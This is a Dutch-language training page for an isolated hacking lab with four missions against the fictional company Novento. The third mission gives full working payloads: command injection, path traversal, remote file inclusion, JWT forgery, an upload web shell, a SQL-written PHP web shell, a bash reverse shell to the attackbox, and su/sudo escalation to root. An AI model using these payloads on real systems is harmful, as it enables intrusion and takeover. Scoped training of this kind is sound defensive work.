CyberPulse · Novento live hacklab

Van eerste observatie tot bewezen aanval.

Doorloop Ciphers aanval in vier missies. Test zelf, bewaar je bewijs en koppel elke techniek aan een verdedigingsmaatregel.

4 missies16 technieken100% praktijk

Jouw tijdelijke werkomgeving

Kies je werkplek

Alleen jouw instance
01

Browser attackbox

Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.

Open attackbox
02

Eigen Kali via OpenVPN

Download je persoonlijke profiel op de startpagina. Doel- en listeneradres staan bovenaan het profiel.

Beheer & OpenVPN
03

Bewijs en voortgang

Bewaar de phishingmail, volg je 16 technieken en lever Jan- en rootbewijs in.

Scope: alleen deze Novento-instance. Labmachines en VPN hebben geen internettoegang. Browserdoel http://novento-lab:8080 · listener attackbox.

Eerste keer in het lab?Leer de applicatie kennen in vijf minuten

Loop eerst de normale gebruikersroute. Zo herken je daarna sneller waar invoer, autorisatie en serverfuncties de bedoelde grens overschrijden.

  1. Open de publieke site en de kennisbank.
  2. Log in via het medewerkerportaal.
  3. Bekijk je account en sessiegegevens.
  4. Open een legitiem klantdossier en document.
  5. Bekijk je eigen factuur en de gewone rapportzoeker.
  6. Kies daarna een Basistechniek op het scoreboard en verander één invoerwaarde.
Guided Mode

Hints en stap-voor-stap hulp staan aan.

01

De Verkenning · Week 1–13

De kaart van mensen

Actieve missie

Cipher verzamelt rollen, routines en projectcontext. Sandra breekt in de finale de keten door Karin zelf te bellen.

Opdracht

Leg met bronverwijzingen vast welke informatie over Sandra, Thomas en de twee vestigingen een geloofwaardige benadering mogelijk maakt. Verbind elke observatie aan een concreet risico.

Bewijs

Noteer een naam, rol, vestiging en letterlijk aangetroffen detail. Leg uit hoe verificatie via een bekend nummer de aanval onderbreekt.

Hint 1Één gerichte aanwijzing

Begin bij de openbare site, robots.txt en teamupdates.

Hint 2Één gerichte aanwijzing

Bekijk ook de paginabron. Een versie of projectnaam geeft aanvullende context.

Hint 3Één gerichte aanwijzing

Vergelijk de leveranciersinformatie van Finance met de workshopcontext van Thomas.

Stap-voor-stap hulp3 gecontroleerde stappen
  1. Open de publieke site, robots.txt, teamupdates en de kennisbank. Noteer namen, rollen, systemen en de vestigingen Alkmaar en Haarlem.
  2. Bekijk de paginabron voor de WordPress- en pluginversie. Gebruik robots.txt als startpunt voor content discovery, niet als bewijs dat een route afgeschermd is.
  3. Vul bij Missienotities een waarneming in met minimaal Sandra of Finance én Alkmaar of Haarlem. Beschrijf de bron en een concrete verificatiemaatregel. Daarna verschijnt de OSINT-vlag op het scoreboard.

Deze stappen komen exact overeen met de volledige oplossing.

Verdedigingsvraag

Welke informatie moet publiek blijven, en welk detail zou je weghalen of anders delen?

MissienotitiesBewaar je waarneming en maatregel
02

De Inbraak · Week 14–26

Een klik is nog geen overname

Actieve missie

Thomas klikt in week 25 maar meldt binnen een minuut. Cipher heeft zes minuten in zijn mailbox. Sarah meldt in de finale als eerste.

Opdracht

Onderzoek reflected input, zwakke authenticatie, SQL-injectie en rolafhankelijke phishing. Scheid een klik van daadwerkelijke toegang.

Bewijs

Bewaar een geslaagde en mislukte loginproef, het originele bericht in Mailpit en een echt HTTP-verzoek op je eigen listener.

Hint 1Één gerichte aanwijzing

Test eerst de gewone functionaliteit en verander daarna één invoerwaarde.

Hint 2Één gerichte aanwijzing

MariaDB herkent # als commentaar. Bij -- is een volgend teken nodig en trimmen van het e-mailveld kan dat lastig maken.

Hint 3Één gerichte aanwijzing

Open de attackbox en Mailpit in aparte tabs. Niet elke rol klikt; de pretext bepaalt het resultaat.

Stap-voor-stap hulp6 gecontroleerde stappen
  1. Test reflected XSS via /search met <script>alert(document.domain)</script>. Controleer daarna de vlag op /scoreboard.
  2. Test de gewone login met it-support@noventogroep.nl / Welkom01!. Dit bewijst het weak-password/no-rate-limit pad en ontgrendelt de interne tools.
  3. Log uit en test de SQL-bypass met e-mail ' OR 1=1# en wachtwoord x. Log daarna opnieuw in als IT voor de volgende fase.
  4. Start in de attackbox een listener: python3 -m http.server 8000 --bind 0.0.0.0.
  5. Stuur via het contactformulier een bericht naar Sandra met onderwerp Factuur en betaalbatch en een link naar http://attackbox:8000/bevestiging.
  6. Open Mailpit voor het originele bericht en je listener voor de echte HTTP-klik. In een live lab kan dit 30 tot 60 seconden duren. Een klik is bewijs van gedrag, niet automatisch van accountovername.

Deze stappen komen exact overeen met de volledige oplossing.

Verdedigingsvraag

Welke combinatie van MFA, melden en sessies intrekken verkort Ciphers tijd?

MissienotitiesBewaar je waarneming en maatregel
03

De Escalatie · Week 27–39

Van toegang naar rechten

Actieve missie

Rubens account is na zijn vertrek blijven bestaan. MFA was voor de overdracht uitgezet. Sarah legt in de finale de vertrekkerslijst naast de accounts.

Opdracht

Onderzoek alle interne objecten en serverfuncties. Combineer de zwakke plekken tot een echte shell en bewijs vervolgens de gebruikerswissels www-data, Jan en root.

Bewijs

Bewaar id-output vóór en na de wissel, een geweigerde bestandsread, sudo -l en de twee unieke Linux-vlaggen.

Hint 1Één gerichte aanwijzing

Blijf als it-support ingelogd voor de verborgen rapportquery.

Hint 2Één gerichte aanwijzing

De webserver draait als www-data. Gebruik een echte PTY voor su en een tweede terminal voor je listener.

Hint 3Één gerichte aanwijzing

Geen internet nodig: host RFI-inhoud en listeners op de attackbox of het listeneradres uit je OpenVPN-profiel.

Stap-voor-stap hulp18 gecontroleerde stappen
  1. Log in als it-support@noventogroep.nl / Welkom01!. Open eerst elk onderdeel via het menu Interne tools zodat je de normale functie kent.
  2. SSRF: open /diagnostics en controleer http://127.0.0.1:8080/internal/metadata. De applicatieserver haalt zijn eigen interne endpoint op.
  3. Command injection: open /tools, test eerst KLANT-1001 en daarna KLANT-1001; id.
  4. Path traversal: open /documents en gebruik als document ../../etc/passwd. Gebruik daarna voor LFI ../src/server.js.
  5. RFI voorbereiden: maak in de attackbox printf 'Kwartaalrapport {{exec:id}}\n' > /tmp/evil.tpl en start python3 -m http.server 8000 --directory /tmp --bind 0.0.0.0.
  6. RFI uitvoeren: laad in het veld Rapportsjabloon http://attackbox:8000/evil.tpl. Bij OpenVPN gebruik je het listeneradres uit je profiel.
  7. IDOR: open /invoice en verander het eigen factuurnummer 2026-0142 in 2026-0163.
  8. JWT: open /portal, zoek cookie novento_jwt en zet de waarde op eyJ1c2VyIjoic2FuZHJhIiwicm9sZSI6ImFkbWluIn0. Herlaad de pagina voor de beheerdersweergave.
  9. Upload: open /upload, klik Eigen bestand uploaden en gebruik bestandsnaam profielfoto.js, type image/png en als inhoud process.stdout.write(require('node:child_process').execSync(new URLSearchParams(process.env.QUERY_STRING).get('cmd') || 'id')).
  10. Open de opgeslagen route /uploads/profielfoto.js?cmd=id. Een echte afbeelding blijft data; alleen uitvoerbare scripts worden uitgevoerd.
  11. SQL write-file: vul als IT op /reports in: missing'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/portal/uploads/report-shell.php'; -- -
  12. Open /uploads/report-shell.php?cmd=id. De database heeft nu zelf een werkende PHP-webshell geschreven.
  13. Reverse shell: open een tweede attackbox-terminal en start nc -lvnp 4444. Open daarna in de browser /tools?dossier=; nohup bash -c 'bash -i >& /dev/tcp/attackbox/4444 0>&1' >/tmp/r.log 2>&1 &. Bij OpenVPN vervang je attackbox door het listeneradres uit je profiel.
  14. Controleer in de reverse shell id en cat /home/jan/notes.txt. Lees het backuptoken met cat /var/www/portal/.env.
  15. Word Jan via een echte PTY: python3 -c 'import pty; pty.spawn(["su","jan"])'. Wachtwoord: JAN-BACKUP-TOKEN-APRIL.
  16. Lees de Jan-vlag met cat /home/jan/notes.txt en controleer sudo -l.
  17. Word root met sudo /usr/local/bin/wp-maintenance --exec /bin/bash en lees /root/root.txt.
  18. Dien beide unieke vlaggen in op /scoreboard. Root geldt alleen binnen de wegwerpdoelmachine, nooit op de labhost.

Deze stappen komen exact overeen met de volledige oplossing.

Verdedigingsvraag

Welke controle had Rubens toegang beëindigd, en welke combinatie van query-, bestands- en sudo-beperkingen stopt de technische escalatie?

MissienotitiesBewaar je waarneming en maatregel
04

De Tegenstand · Week 40–52

Maak de aanval zichtbaar

Actieve missie

De besmette leveranciersupdate raakt één server. Mila merkt het vrijdag om 07:44, belt Jan om 07:54; om 08:00 belt Jan Karin. Herstel komt uit de kopie van dinsdagavond.

Opdracht

Maak een tijdlijn uit je eigen bewijsmateriaal. Scheid waarnemingen van aannames en kies wat je isoleert, welk bewijs je bewaart en hoe je herstel controleert.

Bewijs

Lever minimaal drie gebeurtenissen met tijdstip en bron, een eerste melding en een herstelcontrole. Gebruik uitsluitend fictieve gegevens.

Hint 1Één gerichte aanwijzing

Begin met het originele bericht en je listenerlog; laat de mailbox als bewijs staan.

Hint 2Één gerichte aanwijzing

Gebruik het incidentdossier voor de canon en je eigen proef voor technische observaties. Meng die tijdlijnen niet.

Hint 3Één gerichte aanwijzing

Root behalen sluit de training niet af. Leg uit hoe segmentatie en Sarahs opschoning de schade beperken.

Stap-voor-stap hulp4 gecontroleerde stappen
  1. Verzamel je eigen bewijs: listenerlog, bericht in Mailpit, id-output vóór en na de wissel en de Linux-vlaggen.
  2. Open via het incidentdossier de canon: Mila 07:44, Jan 07:54 en Karin 08:00.
  3. Maak een tijdlijn met minstens drie gebeurtenissen. Noteer bij elk tijdstip de bron en label expliciet wat een waarneming of aanname is.
  4. Beschrijf isolatie, bewijsbehoud en hoe je controleert dat herstel uit de kopie van dinsdagavond betrouwbaar is. Bewaar je antwoorden onder Missienotities voor de debrief.

Deze stappen komen exact overeen met de volledige oplossing.

Verdedigingsvraag

Wie meldt wat aan Jan en Karin, en hoe toon je dat een teruggezette kopie betrouwbaar is?

MissienotitiesBewaar je waarneming en maatregel